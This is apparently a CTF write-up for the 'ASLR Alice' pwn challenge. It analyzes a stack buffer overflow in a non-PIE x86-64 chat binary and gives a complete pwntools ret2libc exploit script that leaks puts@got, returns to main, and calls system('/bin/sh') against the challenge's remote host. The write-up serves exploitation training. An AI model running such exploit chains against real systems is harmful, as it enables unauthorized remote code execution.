ASLR Alice
ASLR Alice
Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: movaps_alignment_fix, puts_got_leak, ret2libc, return_to_main, rop_chain, stack_buffer_overflow
Summary
Task: NON-PIE, NX, no-canary x86-64 ALICE chat service with a stack buffer overflow (read 0x78 bytes into a 0x20 buffer, RET offset 0x28). Solution: two-stage ret2libc in one connection — leak puts via puts@got+return-to-main, then call system("/bin/sh") with an extra ret for movaps alignment.
ASLR Alice — pwn_spbctf
Description
AI //ALICE// devs shared early-version sketches; "pwn Alice". (pwn6 "Добор", tier ASLR, "alice-beta". Author Lex / @b1n4r9.)
An "ALICE" chat service is given as alice.elf together with libc-2.31.so.
Remote: nc 109.233.56.90 11702. The goal is to pop a shell and read the flag.
Analysis
checksec / static analysis of alice.elf:
- NON-PIE (base
0x400000), NX, Partial RELRO, NO stack canary, not stripped.
main @ 0x4012c2 logic:
- A
namebuffer at[rbp-0x20](default"unknown"), printed viaprintf("%s > ", name). Because the format string is literally"%s", this is not a format-string bug. scanf("%d", &choice); ifchoice > 8→exit. Otherwise a message read:write(1, messages(0x4040c0)+(choice-1)*64, 64)— only an upper bound is checked andchoiceis signed, so a small OOB read is possible (not needed for the solve).- After prompts/sleeps,
read(0, buf=[rbp-0x20], 0x78)reads 0x78 = 120 bytes into the 0x20 buffer → stack buffer overflow. Distance frombufto saved RET is0x20 (buf) + 0x8 (saved rbp) = 0x28(40 bytes). __auto_destroy()zeroesr12/r13, thenret.
NON-PIE + no canary + provided libc-2.31.so ⇒ classic ret2libc. ASLR randomises libc,
so we need a runtime libc leak first. There is ~16 qwords of ROP space after the 0x28 offset.
Useful fixed (non-PIE) addresses:
| Symbol | Address |
|---|---|
pop rdi ; ret | 0x40157b |
ret (alignment) | 0x401016 |
puts@plt | 0x401050 |
puts@got | 0x404028 |
main | 0x4012c2 |
Provided libc is Debian glibc 2.31 (md5 74f2d3062180572fc8bcd964b587eeae):
puts=0x766b0, system=0x48f20, /bin/sh=0x18a156.
Solution
Two ROP stages over a single connection:
Stage 1 — leak libc, return to main.
pop rdi; rdi=puts@got; puts@plt; main. puts(puts@got) prints the runtime address of
puts in libc, then control returns into main so we get a second overflow.
libc_base = leaked_puts - 0x766b0.
Stage 2 — shell.
ret; pop rdi; rdi=&/bin/sh; system. The leading ret realigns the stack to 16 bytes so
the movaps inside system/do_system does not fault. This yields system("/bin/sh").
Key pitfalls encountered:
- Don't hardcode the libc high bytes. On this infra libc maps in the
0x74xxregion, not the usual0x7f.... Parse the full 6-byte leaked address (validate it against a wide range like0x550000000000–0x7fffffffffff). - movaps alignment. Without the extra
ret,systemcrashes on amovapswith a misaligned stack. - Patient recv.
mainsleep()s between prompts; anchorrecvuntilon the"unknown > "prompt and the======banner separator, with generous timeouts.
Flow per main iteration: banner → "unknown > " (name printf) → scanf %d →
message write(64) → dots/sleeps → second "unknown > " → overflow read.
Send choice=1 to reach the overflow cleanly.
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * import time context.arch = 'amd64' HOST, PORT = '109.233.56.90', 11702 e = ELF('alice.elf', checksec=False) libc = ELF('libc-2.31.so', checksec=False) puts_plt = e.plt['puts'] # 0x401050 puts_got = e.got['puts'] # 0x404028 main = e.symbols['main'] # 0x4012c2 pop_rdi = 0x40157b # pop rdi ; ret ret = 0x401016 # ret (alignment) libc_puts = libc.symbols['puts'] # 0x766b0 libc_system = libc.symbols['system'] # 0x48f20 libc_binsh = next(libc.search(b'/bin/sh\x00')) # 0x18a156 OFF = 0x28 # buf(0x20) + saved rbp(8) def reach_overflow(io, choice=b'1'): io.recvuntil(b'unknown > ') # name printf before scanf io.sendline(choice) io.recvuntil(b'unknown > ') # second name printf before read() io = remote(HOST, PORT) # ---- STAGE 1: leak libc via puts(puts@got), return to main ---- reach_overflow(io, b'1') rop1 = b'A' * OFF rop1 += p64(pop_rdi) + p64(puts_got) rop1 += p64(puts_plt) rop1 += p64(main) io.send(rop1.ljust(0x78, b'\x00')) data = io.recvuntil(b'======', timeout=20) # main banner restarts with ====== leak = None idx = data.rfind(b'\n======') if idx >= 6: cand = data[idx-6:idx] v = u64(cand.ljust(8, b'\x00')) if 0x550000000000 <= v <= 0x7fffffffffff: leak = v assert leak, 'no leak parsed' libc_base = leak - libc_puts log.success('puts leak = %#x' % leak) log.success('libc base = %#x' % libc_base) # remote: 0x74xx region! system = libc_base + libc_system binsh = libc_base + libc_binsh # ---- STAGE 2: ret2libc system("/bin/sh") ---- io.recvuntil(b'unknown > ') io.sendline(b'1') io.recvuntil(b'unknown > ') rop2 = b'A' * OFF rop2 += p64(ret) # movaps alignment rop2 += p64(pop_rdi) + p64(binsh) rop2 += p64(system) io.send(rop2.ljust(0x78, b'\x00')) time.sleep(1) io.clean(timeout=3) io.sendline(b'cat /flag.txt; id') print(io.recvrepeat(4).decode(errors='replace')) io.interactive()
Running it pops a shell (uid = man) and cat /flag.txt returns the flag.